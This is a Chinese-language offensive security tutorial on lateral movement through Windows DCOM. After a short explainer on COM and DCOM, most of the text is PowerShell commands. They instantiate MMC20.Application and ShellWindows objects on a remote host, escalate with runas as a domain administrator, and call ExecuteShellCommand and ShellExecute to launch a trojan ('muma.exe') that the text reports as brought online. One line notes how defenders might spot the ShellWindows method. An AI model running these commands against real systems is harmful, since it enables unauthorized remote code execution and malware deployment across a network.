基于 DCOM 的横向移动

DCOM 基本介绍

COM

COM,全称组件对象模型(Component Object Model),是微软提出的一种软件架构和编程模型。它的核心思想是将软件的不同功能模块化为一个个独立的“组件”(Component)。这些组件就像是乐高积木,每个积木都有特定的形状和接口,可以相互连接和组合。COM 组件也类似,它们封装了特定的功能(例如,一个用于处理文本的组件、一个用于显示图像的组件),并提供了一组标准的接口(Interface)供其他组件或应用程序调用。

COM 的这种“组件化”设计带来了诸多好处。首先,它提高了代码的重用性。开发人员可以直接使用现有的 COM 组件,而无需从头编写相同的功能。其次,它增强了软件的可维护性和可扩展性。当需要修改或添加功能时,只需修改或替换相应的组件,而不会影响到整个系统。此外,COM 还支持跨语言开发。不同编程语言编写的组件可以通过 COM 接口进行交互,这极大地提高了开发的灵活性。

COM 的技术实现依赖于几个关键概念。每个 COM 组件都有一个唯一的标识符,称为 CLSID(Class Identifier,类标识符),这是一个全局唯一的 GUID。应用程序通过 CLSID 来创建和使用 COM 组件。COM 组件通过接口与外界交互,接口定义了一组相关的方法(函数)。一个 COM 组件可以实现多个接口,每个接口提供不同的功能。COM 还使用引用计数机制来管理组件的生命周期,确保组件在不再被使用时能够被正确地释放。

DCOM

DCOM,全称分布式组件对象模型(Distributed Component Object Model),是 COM 的扩展,也可以理解为“网络版的 COM”。COM 本身主要用于同一台计算机上的不同进程之间的组件交互,而 DCOM 则将这种交互扩展到了网络环境。简单来说,DCOM 允许运行在不同计算机上的应用程序组件像在同一台机器上一样进行通信和协作。

DCOM 的核心在于它基于远程过程调用(RPC)机制。当一个应用程序(客户端)需要使用另一台计算机上的 COM 组件(服务器)时,DCOM 会在客户端创建一个代理对象(Proxy),该代理对象与远程服务器上的实际对象具有相同的接口。客户端对代理对象的方法调用会被转换为 RPC 调用,通过网络发送到服务器。服务器上的存根(Stub)接收到 RPC 调用后,将其转换为对实际对象的方法调用,并将结果返回给客户端的代理。这个过程对客户端程序来说是透明的,它就像在调用本地对象一样。

DCOM 横向

由于部分 DCOM 组件公开的接口中可能包含不安全的方法,所以我们可以利用这些不安全的方法执行命令或程序。

列出所有 COM 组件

执行命令,列出计算机所有的 DCOM 程序组件。

1
Get-CimInstance Win32_DCOMApplication

  • Get-CimInstance 是 PowerShell 3.0 以上的版本自带的,因此只有 Windows Server 2012 及以上的操作系统才会自带 Get-CimInstance 命令
  • 在 Windows 7 和 Windows Server 2008 中可以使用 Get-WmiObject 替代 Get-CimInstance
1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

一般是利用 MMC20.ApplicationShellWindowsShellBrowserWindowExcel.Application 以及 Outlook.Application 等等

MMC20.Application

获取本地 COM 实例

我们使用 MMC20.Application 为例,使用如下命令可以获取本地的 DCOM 实例

1
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

获取 COM 对象属性方法

使用如下命令可以查看当前创建的 DCOM 实例所具有的实例和方法

1
$com.Document.ActiveView | Get-Member

可以看到,当前的这个 DCOM 实例,拥有命令执行权限。我们可以借助这个对象进行命令执行,实现横向

COM 本地命令命令执行

我们可以利用这个组件,进行命令执行

1
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

这样,我们就通过 COM 对象,调用了命令执行方法,实现了一个调用 cmd 打开计算器的操作。

DCOM 远程命令执行

既然 COM 可以达到这样的效果,那么我们就可以通过 DCOM,创建一个远程 COM 实例,如果这个远程 COM 可以进行命令执行,我们就可以远程执行我们的木马了。

环境如下

  • 目标主机:192.168.52.138
    • 目标木马位置:C:\muma.exe

首先我们要创建一个远程的 DCOM 实例

1
$com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','192.168.52.138'))

认证出现问题,有两种可能

  • 未以指定用户权限去调用
  • 指定的用户权限无权远程访问 DCOM 组件

我们调用一个有权限的 powershell

1
runas /user:trtyr\administrator powershell

再次执行

成功,我们执行命令

1
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\muma.exe","Minimzed")

成功上线

ShellWindows

与大多数其他方法不同,ShellWindows 不创建进程。 相反,它会激活现有 explorer.exe 进程内的类实例,该进程非常定期地执行子进程。 为了进行通信,explorer.exe 会 在 DCOM 端口上打开一个侦听套接字。因此也可以通过查看这个进程是否存在网络通信来发现攻击。

ShellWindows 对象代表一个打开的文件资源管理器窗口。 这意味着尝试在没有打开资源管理器窗口的机器上创建此对象不返回任何内容,从而导致方法不可用。

注意:ShellWindows 类与 ProgID 无关,必 ​​ 须通过 CLSID 创建。当然,所有其他对象也可以使用 CLSID 创建。

1
Get-CimInstance Win32_DCOMApplication | findstr ShellWindows

得到 CLSID9BA05972-F6A8-11CF-A442-00A0C90A8F39

然后就是创建一个 COM 对象

1
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.10.133  "))

进行命令执行

1
$com.item().Document.Application.ShellExecute("cmd.exe","/c muma.exe","c:\",$null,0)